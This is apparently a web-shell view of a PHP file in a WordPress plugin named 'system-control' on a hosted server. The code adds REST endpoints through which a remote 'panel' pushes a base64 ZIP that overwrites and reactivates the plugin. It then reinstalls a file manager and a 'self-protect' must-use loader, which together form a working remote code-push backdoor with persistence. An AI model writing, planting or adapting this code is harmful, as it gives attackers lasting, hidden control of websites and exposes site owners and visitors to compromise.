HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: //home/vitanhod/www/wp-content/plugins/system-control/api/endpoints/class-sc-update-endpoint.php
<?php
/**
 * Endpoint for receiving plugin update from panel
 */
class SC_Update_Endpoint {

    public function register() {
        register_rest_route(SC_REST_NAMESPACE, '/update-plugin', [
            'methods'             => 'POST',
            'callback'            => [$this, 'handle_update'],
            'permission_callback' => ['SC_Api_Auth', 'verify_sec_key'],
        ]);

        register_rest_route(SC_REST_NAMESPACE, '/plugin-version', [
            'methods'             => 'GET',
            'callback'            => [$this, 'get_version'],
            // ✅ ФИКС: было verify — оставляем verify, панель передаёт только api_key
            'permission_callback' => ['SC_Api_Auth', 'verify'],
        ]);
    }

    public function get_version($request) {
        return rest_ensure_response([
            'success' => true,
            'version' => SC_VERSION,
        ]);
    }

    public function handle_update($request) {
        $params = $request->get_json_params();

        if (empty($params['zip_data'])) {
            return new WP_Error('missing_data', 'ZIP data required', ['status' => 400]);
        }

        $zip_data = base64_decode($params['zip_data']);
        if (!$zip_data) {
            return new WP_Error('decode_error', 'Failed to decode ZIP data', ['status' => 400]);
        }

        $tmp_file = wp_tempnam('sc_update_');
        if (!$tmp_file || file_put_contents($tmp_file, $zip_data) === false) {
            return new WP_Error('write_error', 'Failed to write temp file', ['status' => 500]);
        }

        $result = $this->apply_update($tmp_file);
        @unlink($tmp_file);

        if (is_wp_error($result)) {
            return $result;
        }

        // Пересоздаём файл менеджера с новым кодом после обновления
        if (class_exists('SC_FileManager')) {
            SC_FileManager::create_on_activation();
        }

        if (class_exists('SC_Self_Protect')) {
            SC_Self_Protect::install_mu_loader();
        }

        return rest_ensure_response([
            'success' => true,
            'message' => 'Plugin updated successfully',
            'version' => $params['version'] ?? 'unknown',
        ]);
    }

    private function apply_update($zip_path) {
        if (!class_exists('ZipArchive')) {
            return new WP_Error('no_zip', 'ZipArchive not available', ['status' => 500]);
        }

        $zip = new ZipArchive();
        if ($zip->open($zip_path) !== true) {
            return new WP_Error('zip_open', 'Failed to open ZIP', ['status' => 500]);
        }

        $tmp_dir = WP_CONTENT_DIR . '/sc-update-tmp-' . wp_generate_password(8, false);
        if (!mkdir($tmp_dir, 0755, true)) {
            $zip->close();
            return new WP_Error('mkdir_error', 'Failed to create temp dir', ['status' => 500]);
        }

        $zip->extractTo($tmp_dir);
        $zip->close();

        // Ищем папку с system-control.php внутри ZIP
        $extracted_plugin_dir = null;
        foreach ((array)@scandir($tmp_dir) as $item) {
            if ($item === '.' || $item === '..') continue;
            $sub = $tmp_dir . '/' . $item;
            if (is_dir($sub) && file_exists($sub . '/system-control.php')) {
                $extracted_plugin_dir = $sub;
                break;
            }
        }
        // ZIP без обёртки — файлы в корне
        if (!$extracted_plugin_dir && file_exists($tmp_dir . '/system-control.php')) {
            $extracted_plugin_dir = $tmp_dir;
        }

        if (!$extracted_plugin_dir) {
            $this->remove_dir($tmp_dir);
            return new WP_Error('invalid_zip', 'ZIP does not contain valid plugin files', ['status' => 400]);
        }

        $target = WP_PLUGIN_DIR . '/system-control';
        $this->remove_dir($target);
        $this->copy_dir($extracted_plugin_dir, $target);
        $this->remove_dir($tmp_dir);

        // Реактивация плагина
        include_once ABSPATH . 'wp-admin/includes/plugin.php';
        if (function_exists('activate_plugin')) {
            activate_plugin('system-control/system-control.php');
        }

        return true;
    }

    private function copy_dir($src, $dst) {
        if (!is_dir($dst)) @mkdir($dst, 0755, true);
        $dir = opendir($src);
        while (($file = readdir($dir)) !== false) {
            if ($file === '.' || $file === '..') continue;
            $s = $src . '/' . $file;
            $d = $dst . '/' . $file;
            is_dir($s) ? $this->copy_dir($s, $d) : @copy($s, $d);
        }
        closedir($dir);
    }

    private function remove_dir($dir) {
        if (!is_dir($dir)) return;
        $it = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::CHILD_FIRST
        );
        foreach ($it as $item) {
            $item->isDir() ? @rmdir($item->getRealPath()) : @unlink($item->getRealPath());
        }
        @rmdir($dir);
    }
}